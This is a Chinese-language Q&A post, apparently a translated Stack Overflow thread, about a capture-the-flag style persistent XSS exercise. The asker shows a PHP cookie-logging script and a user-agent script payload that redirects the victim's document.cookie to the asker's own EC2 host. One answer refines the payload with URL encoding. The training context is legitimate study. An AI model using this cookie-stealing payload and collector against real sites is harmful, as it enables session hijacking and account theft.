变量不会通过URL

时间:2019-03-14 02:17:54

标签: php amazon-web-services cookies webserver xss

我正在执行此持久性跨站点脚本挑战作业,我们应该通过useragent注入来窃取cookie。可以在以下page (basic 41)上找到有关此挑战的更多详细信息:

背景:

由于此挑战位于玩具网站上,因此该网站模拟了受害者在为我们查看页面。我们需要做的是将代码注入到挑战页面服务器,并通过该代码窃取受害者的cookie,并将这些cookie发送到我们自己设置的Web服务器。成功收集受害者的Cookie之后,我们可以将自己的Cookie设置为这些值以应对挑战。

我到目前为止所做的:

  1. aws ec2上设置Web服务器。 我相信这是centos,但由于无法安装centos-release软件包或类似的东西而找不到更多的发行信息。我只能找到Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2。入站规则设置为ssh的端口22和http的端口80。 httpd,mysql,php已安装并经过测试工作。 index.html下的文件/var/www/http在浏览器中正常显示。

  2. cookie_stealer.php放在/var/www/http

    我的cookie_stealer.php代码:

<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
  1. 将代码注入Chrome的用户代理:
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+document.cookie</script>

到目前为止,我已经成功注入了代码,但是document.cookie的值不会传递到我的php文件中。所以我目前正在关注这个问题。

  1. 更多信息

我正在通过url测试来测试如何将变量传递给php:

http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh

一个有趣的(奇怪的!)事情是,我在$_GET['c']行之后将以下行添加到我的php文件中之后:

echo 'Cookie: ' . $cookie . "\r\n";

c的值可以以ahhh的形式显示在网页上,但不会写入log.txt中。 log.txt仅记录以下内容:

Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c

我的问题是,如果将变量c传递到服务器上的$cookie,那么为什么该三元运算符总是在显示'There is no variable c'的网页上返回ahhh。谁能告诉我为什么会这样,或者我还能在哪里看?任何提示将不胜感激!

2 个答案:

答案 0 :(得分:1)

您可能需要更改文件许可权才能写入该日志文件。尝试: id

答案 1 :(得分:0)

我的第一个念头是:

您可能需要URL附加cookie文本。可能其中有一些东西破坏了您的URL请求。

<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>

然后在PHP中,您可能必须解码,也可以不必解码它,

 $cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';

例如,您的导师my滑了一个#标志或其中的某物。我不能肯定地说,因为我从未通过查询参数发送过cookie,但是我不认为它们会以这种方式发送。

无论如何,这对于评论来说实在太多了,希望对您有所帮助!